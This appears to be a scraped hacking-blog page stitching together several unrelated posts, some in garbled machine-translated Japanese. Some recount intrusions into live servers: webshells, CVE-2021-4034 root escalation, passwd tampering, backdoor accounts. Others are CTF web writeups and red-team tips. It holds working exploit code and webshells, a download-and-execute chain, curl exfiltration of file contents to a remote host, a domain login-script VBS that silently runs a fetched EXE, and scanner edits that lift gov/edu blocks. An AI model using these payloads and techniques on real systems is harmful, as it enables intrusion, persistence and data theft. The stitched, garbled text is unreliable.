Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110757

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

序文

晴れた午後、私たちはブランクのリーダーシップの下で熱心に話していました。

图片

フロート氏は、彼のブログを訪れた奇妙なIPを発見しました。

图片

悲しいかな、私はネットワークセキュリティ法を真剣に受け止めていません。ただ戦い始めます。

ゲーム開始

ブラウザアクセスは、ログインインターフェイスに直接ジャンプします。

图片

情報収集

パスでXをノックします。 ThinkPHPとバージョン番号を取得します。

图片

图片

同時に、Float NMAP氏はポート801に向かってスキャンし、BaotaのWebサイトビルであることを確認しました。ただし、ここではこれ以上の研究はありません。

图片

图片

rce試行

5.0.21は直接RCEすることができ、ペイロードは空中に飛んでいます。しかし、私はまだ少しの落とし穴に遭遇しました。

图片

モジュール名は通常のインデックスではなく、存在する必要があります。ジャンプに応じてログインします:

/admin/login/index.html

モジュールが管理者であると推測され、実際に成功しました。

图片

disable_functionsは列にあり、RCEは実際には失敗しています。

图片

まだ馬

良いニュースは、ファイルが正常に記述されたことです。

图片

shell.phpにアクセスして、phpinfoインターフェイスをご覧ください。

图片

バックハンドは、それをつなぐアイスサソリと馬について書いた。

图片

私はこの機会を利用して、ローン、マネージャー、営業担当者、営業担当者を見てみました. OK、プレイし続けました。

图片

データベースを接続

ハードコーディングは、ユニバースでは本当に問題であり、データベースパスワードが取得されます。

图片

MySQLパスワードに初めて遭遇したとき、 @があります。直接書き込むと、接続文字列が破壊されます。のように:

mysql://root:password@127.0.0.1:3306/mysql

@ inパスワードは、IP:ポートが事前にIP:ポートに移動するという判断を下します。 %40としてエンコードする必要があります

图片

管理者ログイン

Webディレクトリとコードをめくることには進展がないので、システムにログインしてみてください。

データベースにはアカウントのパスワードがあります。もちろん、パスワードは塩のハッシュです。

图片

图片

良い家族を持っている人は誰でもパスワードを持っている必要があります。ログインコードにパッチを当てるだけで、テーブルを確認しません。

システムにログインします。

图片

このビジネスはとても高度に見えます、私は少し理解できないので、私は逃した場合にバックドアユーザーを離れます

元のリンクから転載:https://mp.weixin.qq.com/s/f4nwoggpxlsa_chgpbj7zw

HireHackking

NCTF2022 Web Writeup

1.calc

题目地址:http://116.205.139.166:8001/

右键 /source 源码

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

flask 报错可以看到 waf 的过滤规则

http://162.14.110.241:8050/calc?num[]=

def waf(s):
    blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag

试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格

然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线

/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

题目地址:http://81.70.155.160/

ayacms github 地址

https://github.com/loadream/AyaCMS

issues 里能看到很多漏洞, 但是全都要登录后台/前台

后台 admin.php 试了弱口令无果, 前台也无法注册…

于是直接下载源码进行代码审计, 然后看了大半天

源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行

这样思路就转换为寻找存在文件包含的漏洞点

找了好久在 /aya/admin.inc.php 找到一处

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码

加密过程中的 AYA_KEY 就是默认值 aaa

有了文件包含之后思路就广了许多, 然后结合一下已知漏洞

https://github.com/loadream/AyaCMS/issues/3

payload

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
    $hash='';
    $max=strlen($chars)-1;
    for($i=0;$i<$length;$i++){
        $hash.=$chars[mt_rand(0,$max)];
    }
    return $hash;
}
function kecrypt($txt,$key){
    $key=md5($key);
    $len=strlen($txt);
    $ctr=0;
    $str='';
    for($i=0;$i<$len;$i++){
        $ctr=$ctr==32?0:$ctr;
        $str.=$txt[$i]^$key[$ctr++];
    }
    return $str;
}
function encrypt($txt,$key=''){
    $key or $key='aaa';
    $rnd=random(32);
    $len=strlen($txt);
    $ctr=0;
    $str='';
    for($i=0;$i<$len;$i++){
        $ctr=$ctr==32?0:$ctr;
        $str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
    }
    return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');

http 包

POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

hint 提示 waf 是 modsecurity

题目地址:http://162.14.110.241:8099/sql.php   http://121.37.11.207:8099/sql.php

网上找到一篇参考文章

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行

import requests
import time
flag = ''
i = 1
while True:
    min = 32
    max = 127
    while min < max:
        time.sleep(0.08)
        mid = (min + max) // 2
        print(chr(mid))
        payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)
        url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)
        res = requests.get(url)
        if 'letian' in res.text:
            min = mid + 1
        else:
            max = mid
    flag += chr(min)
    i += 1
    print('found', flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

题目地址:http://81.70.155.160:3000/     https://nctf.h4ck.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

题目描述给了源码

app.js

import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {
    ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {
    const id = helpers.getQuery(ctx, { mergeParams: true });
    const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();
    ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });

 

db.js

import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/denodb@v1.0.40/mod.ts";
const connector = new SQLite3Connector({
    filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {
    static table = 'flight';
    static fields = {
      id: { primaryKey: true, autoIncrement: true },
      departure: DataTypes.STRING,
      destination: DataTypes.STRING,
    };
}
class Flag extends Model {
    static table = 'flag';
    static fields = {
        flag: DataTypes.STRING,
    };
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({
    departure: 'Paris',
    destination: 'Tokyo',
});
await Flight.create({
    departure: 'Las Vegas',
    destination: 'Washington',
});
await Flight.create({
    departure: 'London',
    destination: 'San Francisco',
});
await Flag.create({
    flag: Deno.env.get('flag'),
});
export default Flight

跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp

不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去

http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;

  附件下载:https://github.com/X1cT34m/NCTF2022       转载原文: https://exp10it.cn/2022/12/nctf-2022-web-writeup/#calc

 

拉取项目

首先从GitHub克隆到服务器上。

git clone https://github.com/ki9mu/ARL-plus-docker/

file

修改配置文件

因为ARL在配置文件里设置了黑名单,有时候项目为GOV或者EDU之类的时候无法进行扫描,所以在这里修改一下配置文件就可以解除限制。

cd ARL-plus-docker/
vi config-docker.yaml

在这里删掉黑名单里的几项就可以了

file

修改后:

file

增加和修改riskiq以及fofa API

vqypggl1gjy15042.png

再增强版里添加了Oneforall的模块,所以在配置文件里需要打开,因为clone下来的代码里默认是Flase,这里将需要想打开的开关替换为Ttue即可。

vi oneforall-config/setting.py 

file

修改后:

file

修改为配置文件之后就开始启动docker,先添加一个volume,然后docker-compose up -d就可以直接启动,拉取镜像的时候如果很慢可以换一下docker源。

docker volume create --name=arl_db
docker-compose up -d

file

当看到一排done就说明成功了,这时候还需要进容器修改一下python代码,因为在python脚本里也有黑名单。先使用docker ps看一下容器的ID,然后进入这个容器进行修改,使用vi进行编辑。

docker ps #查看容器ID
docker exec -it 对应ID bash
vi app/config.py 

修改前:

file

file

添加指纹

安装成功之后,添加一下指纹,让你的灯塔有更强大的指纹。

地址:https://vps:5003/![file](http://www.a10ng.top/wp-content/uploads/2022/09/2022090213085544.png)
默认账密:admin\arlpass

git clone https://github.com/loecho-sec/ARL-Finger-ADD
cd ARL-Finger-ADD
python ARL-Finger-ADD.py -O https://vps:5003/  admin arlpassCOPY

file

安装成功

用默认密码登陆,然后在右上角修改掉默认密码就可以愉快的使用了。



ビッグブラザーからのほうれん草の日々。これは、あらゆるファイルの0日のアップロードです。 WebShellは任意のファイルをアップロードすることで取得されますが、ポートをスキャンすることでパゴダが開かれていることがわかります。

图片

その後、次の問題が発生しました。

图片

Godzillaのバイパスプラグインを使用して、コマンドを実行します。

图片

ユーザーは、baotaのデフォルトユーザーであるwwwです。次のステップは、定期的な操作、権限を増やし、Baotaにログインすることです。

最初にエスカレーションを実行し、エスカレーション牛をアップロードしてから、使用できるエスカレーションExpを確認します。

图片

图片

图片

実行後、CVE-2021-4034を使用して権利を増やし、最初にEXPファイルをほうれん草サーバーにアップロードします。

图片

シェルをバウンスし、Expフォルダーを入力してコンパイルして実行してルートアクセス許可を取得します。

图片

图片

图片

ルートアクセス許可を取得した後、作業を行い、アカウントを作成し、許可を付与するだけです。リバウンドシェルはVIMを使用できず、PassWDファイルをローカルに保存してから3列に0を与え、その後ログインすることがルートになります。

图片

作成されたアカウントはFTPPで、PassWDファイルとして保存してWebディレクトリにアップロードします。特権エスカレーション後のルートアクセス許可を使用して、最初にPassWDを削除してからコピーします。

图片

图片

このサーバーにはBaotaコントロールパネルがあるため、最初に/www/server/panel/dataが入力されます。このフォルダーには、baota構成データファイルであるdefault.dbファイルがあります。ローカルに保存した後、パゴダのパスワードを変更してログインします。次に、終了後にDBデータファイルを復元して、パスワードが元のパスワードになるようにします。

图片次に、パスワードを変更してログインします。

ログインすることで、サイトの完全な情報、データベースパスワード、Webディレクトリ、および携帯電話番号を確認できますが、携帯電話番号は最初の3つと最後の4つであり、中央4桁は番号*です。携帯電話番号をチェックする以前の方法は役に立たない。実際、ここでそれを呼び出して、その人を逮捕するために警察に引き渡してください。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/iuipoa4bi8mcbj7o2qgjra

HireHackking

安洵杯2022 Web Writeup

babyphp

index.php:

<?php
//something in flag.php
class A
{
    public $a;
    public $b;
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }
    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}
class B
{
    public $a;
    public $b;
    public $k;
    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
    public $a;
    public $c;
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}
if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

flag.php:

<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

通过构造 pop 链查看 phpinfo 发现 session.serialize_handler 为 php, 再结合 flag.php 的源码推测是利用 session 反序列化 SoapClient 来进行 ssrf

思路就是先控制 ini_set 的参数指定 serialize_handler 为 php_serialize, 传参 sess 为反序列化 SoapClient 的 payload, 然后去掉所有 get post 参数访问一次页面触发反序列化, 最后利用已知 pop 链调用 SoapClient __call 方法来触发 ssrf

ssrf 则先利用 php 的原生类 GlobIterator 来查找根目录下以 f 开头的文件, 然后利用 SplFileObject 读取 flag

pop 链 payload:

<?php
class A
{
    public $a;
    public $b;
}
class B
{
}
class C
{
    public $a;
    public $c;
}
$cc = new C();
$cc->a = 'xxxx';
$a = new A();
$a->a = '0e215962017';
$a->b = $cc;
$c = new C();
$c->c = $a;
$b = new B();
$b->a = $c;
echo serialize($b);

ssrf payload:

<?php
// $a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/f*', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$a = new SoapClient(null,array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'user_agent' => "111\r\nCookie: PHPSESSID=c9urdtg4kjp5jl36mrl44qlsah", 'uri' => 'test'));
$b = serialize($a);
echo '|'.urlencode($b);

先利用 GlobIterator

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

再利用 SplFileObject

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

EZ_JS

登录界面随便输入账号密码, 之后会跳转到 /cookie 路由, 右键注释 jsfuck 解密提示 输入大写

主页右键注释如下:

<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

一眼哈希长度扩展攻击

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

直接更改 cookie hash 发现没有用, 后来又将 userid 置空, 出现报错

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

结合之前的提示, 利用 js 的大小写特性:

'ı'.toUpperCase() == 'I' // true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

之后跳转到 /infoflllllag (静态环境每 30 分钟重置, 所以截的是之前的图)

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});
router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});
module.exports = router;

很明显要通过原型链来污染 req 的 flag 属性, payload 如下

id={"__proto__":+{"flag":+"flag"}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

之后转 get 访问得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静态靶机的截图

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

先上传 phpinfo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1, disable_functions 过滤了一堆, 不过 file_get_contents() 可用, 通过它读取题目源码

<html>
<body>
<form method="POST" enctype="multipart/form-data">
这前端不美si你!!!
<input type="file" name="upload_file" />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
<?php
function waf($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];
    foreach($blacklist as $blackword){
        if(stristr($var, $blackword)) return True;
    }
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("俺不要图片,熊大");
}
$content = file_get_contents($temp_file);
if(waf($content)){
    die("哎呦你干嘛,小黑子...");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;
        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo $msg."  ".$img_path;

位运算 & | 没有被过滤, 这里以 | 为例, 利用 GlobIterator 查找 flag

import re
preg = '\*'
def convertToURL(s):
    if s < 16:
        return '%0' + str(hex(s).replace('0x', ''))
    else:
        return '%' + str(hex(s).replace('0x', ''))
def generateDicts():
    dicts = {}
    for i in range(256):
        for j in range(256):
            if not re.match(preg, chr(i), re.I) and not re.match(preg, chr(j), re.I):
                k = i | j
                if k in range(32, 127):
                    if not k in dicts.keys():
                        dicts[chr(k)] = [convertToURL(i), convertToURL(j)]
    return dicts
def generatePayload(dicts, payload):
    s1 = ''
    s2 = ''
    for s in payload:
        s1 += dicts[s][0]
        s2 += dicts[s][1]
    return f'("{s1}"|"{s2}")'
dicts = generateDicts()
a = generatePayload(dicts, '/f*')
print(a)

payload

<?php echo new GlobIterator('/f('|'/f"');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954406.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271954423.png

然后用 file_get_contents() 读取 flag

<?php echo ('fil'.'e_ge'.'t_cont'.'ents')('/fl1111111111ag');

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955530.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271955702.png

ezjaba

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>ezjaba</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>ezjaba</name>
    <description>ezjaba</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>
        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <version>8.0.12</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

IndexController

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957830.png

Database

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957963.png

JdbcUtils

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271957966.png

SecurityObjectInpitStream

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271958986.png

过滤了 mysql jdbc 反序列化, 网上查了一会发现最近 postgresql 依赖的 cve

https://xz.aliyun.com/t/11812

https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485275&idx=1&sn=e06b07579ecef87f8cce4536d25789ce

结合 pom.xml 中的 rome, 通过 ToStringBean 来触发任意 getter

在题目中是利用 Database getConnection 这个 getter 来触发 jdbc 漏洞

之后从 marshalsec 的源码中找到 XString, 它的 equals 方法会调用 toString, 最终结合 hashCode 碰撞完成整条反序列化链

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272004771.png

payload:

package com.example.ezjaba;
import com.example.Reflection;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.*;
public class RomeDemo {
    public static void main(String[] args) throws Exception{
        Database database = new Database();
        database.setDatabase("postgresql");
        database.setHots("127.0.0.1");
        database.setUsername("test");
        database.setPassword("=123456&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.117.70.230:65001/exp.xml");
        ToStringBean toStringBean = new ToStringBean(String.class, "123");
        XString xString = new XString("456");
        Map map1 = new HashMap();
        Map map2 = new HashMap();
        map1.put("yy",toStringBean);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",toStringBean);
        Map map = new HashMap();
        map.put(map1, 1);
        map.put(map2, 2);
        Reflection.setFieldValue(toStringBean, "beanClass", Database.class);
        Reflection.setFieldValue(toStringBean, "obj", database);
        ByteArrayOutputStream arr = new ByteArrayOutputStream();
        try (ObjectOutputStream output = new ObjectOutputStream(arr)){
            output.writeUTF("axb");
            output.writeInt(2022);
            output.writeObject(map);
        }
        System.out.println(Base64.getEncoder().encodeToString(arr.toByteArray()));
    }
}

exp.xml:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
<!--    普通方式创建类-->
   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>curl http://x.x.x.x:yyyy/ -X POST -d "`ls /;cat /*`"</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

vps 上挂着 exp.xml, 然后用 base64 payload 打一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272107558.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272108046.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211272114396.png

       
转自原文链接: https://exp10it.cn/2022/11/2022-%E5%AE%89%E6%B4%B5%E6%9D%AF-web-writeup/#babyphp

HireHackking

登录脚本下发

0x1、利用场景

当获取到域控权限或domain admin等高权限时,想横向到域内PC主机上对方开启了防火墙,无法通过445、135进行横向利用,可以通过登录脚本绑定的方式获取目标主机权限。

0x2、利用方法

方法一、powershell win2012及以上自带,获取当前域用户信息

Get-ADUser -Filter * -Properties * | sort LastLogonDate | select name,mail,DistinguishedName,LastLogonDate | Export-Csv -Path C:\Users\Public\Documents\user.csv -Encoding utf8

绑定指定用户

Set-ADUser -Identity zhangsan -ScriptPath "download.vbs"

解绑

Set-ADUser -Identity zhangsan -ScriptPath " "

方法二、利用dsmod进行绑定

 dsmod user -loscr "download.vbs" "CN=john,CN=Users,DC=redteam,DC=com"

解绑

dsmod user -loscr "" "CN=john,CN=Users,DC=redteam,DC=com"

刷新组策略

shell gpupdate /force

VBS内容

strFileURL = "http://192.168.172.129:82/logo.ico"strHDLocation = "C:\Users\Public\Documents\ChsIME.exe"Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")objXMLHTTP.open "GET", strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject("ADODB.Stream")objADOStream.OpenobjADOStream.Type = 1 'adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0'Set the stream position to the startSet objFSO = Createobject("Scripting.FileSystemObject")If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = NothingstrComputer = "."set ws=wscript.createobject("wscript.shell")val=ws.run ("C:\Users\Public\Documents\ChsIME.exe",0) 

上传至dc c:\windows\SYSVOL\sysvol\redteam.com\SCRIPTS\目录下,通过方法一或方法二进行绑定后刷新组策略即可



 https://www.cnblogs.com/websecyw/p/16657762.html


HireHackking

日常SRC中xss小tips

0x00  前言

关于众测、专属中如何去捡漏xss洞,水文,水文,水文!!!

0x01  日常测试

日常无聊测站点,当你在渗透测试时候,发现有某个html标签调用服务器内图片的,并且是那种加入服务器ip地址的,可以尝试通过修改host头来fuzz一下,探测下是否存在xss。w5p2sjdikwn15072.jpg
dwszvyid1pv15073.jpg看到这种情况我们可以大概猜想一下,其中的后段代码可能是以下样子:<img src="<?php echo "http://{$_SERVER['HTTP_HOST']}/"?>xxx/aaa.png" />这样看来就很简单了,修改一下请求包中的host就能造成xss咯。pnnf24mwhsz15074.jpg
成功弹窗hebst5xsqz115075.jpg
hmj3wfkxplg15076.jpg捡破烂小tips完结。

转自原来链接:https://blog.csdn.net/Guapichen/article/details/124040935?spm=1001.2014.3001.5501

1. 简介

我搭建了一个Spring heapdump泄露shiro key从而RCE的漏洞环境,Github地址:https://github.com/P4r4d1se/heapdump_shiro_vuln
漏洞利用条件:

  • Spring Shiro环境
  • 存在heapdump文件泄露
  • 存在可利用链

2. 漏洞原理

Shiro相关的漏洞原理和调试分析已经有很多大佬分享过了,这里不再赘述,这里主要针对这个漏洞环境进行说明:
(1)Spring其实是有自己默认安全框架的,叫Spring Security,但可能有的开发用Shiro用习惯了,将Spring Securiy替换成了Shiro,这种情况并不少见,比如若依就是Spring shiro。

xsdawiyifra15087.jpg

(2)在有key的情况下,即使是最新版的Shiro也一样存在漏洞,而且在很多时候都会因为开发、部署等问题导致shiro key的泄露。
(3)Shiro大于1.2.4的版本中,在没有开发人员人工干预的情况下key改为了随机生成,这个随机生成是在每次启动Web环境的时候,重启前这个key不会改变,可以在JVM虚拟机内存里找到。

eqzcksoh0bo15088.jpg

(4)Spring的heapdump文件就是从JVM虚拟机内存导出的。
综上所述导致了这个组合漏洞的产生。

3. 漏洞演示

